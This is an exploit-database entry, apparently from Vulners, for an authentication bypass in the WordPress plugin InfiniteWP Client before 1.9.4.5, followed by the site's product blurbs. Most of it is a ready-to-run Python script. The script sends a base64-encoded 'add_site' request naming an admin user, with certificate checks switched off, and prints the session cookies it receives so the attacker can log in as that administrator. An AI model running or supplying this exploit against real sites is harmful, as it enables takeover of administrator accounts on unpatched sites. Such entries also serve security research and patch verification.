# Exploit Title: Wordpress Plugin InfiniteWP Client 1.9.4.5 - Authentication Bypass
# Date: 2020-1-16
# Exploit Author: Raphael Karger
# Vendor Homepage: https://infinitewp.com/
# Version: InfiniteWP Client < 1.9.4.5
#!/usr/bin/python3
import requests
import json
import argparse
import base64
import json
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def exploit(site, username):
json_info = {"iwp_action":"add_site","params":{"username": username}}
try:
return requests.post(site, timeout=5, verify=False,
headers={"User-Agent" : "raphaelrocks"},
data="_IWP_JSON_PREFIX_{}".format(base64.b64encode(json.dumps(json_info).encode("utf-8")).decode("utf-8"))
)
except Exception as e:
print("[-] HTTP Exploit Error: {}".format(e))
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-n", "--username", dest="username", help="Username of admin, default is admin", default="admin")
parser.add_argument("-u", "--url", dest="url", help="Root URL of Site")
args = parser.parse_args()
site_exploit = exploit(args.url, args.username)
if site_exploit and site_exploit.status_code == requests.codes.ok:
cookie_string = "; ".join([str(x)+"="+str(y) for x,y in site_exploit.cookies.items()])
if cookie_string:
print("[+] Use Cookies to Login: \n{}".format(cookie_string))
exit(0)
print("[-] Exploit Failed")Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation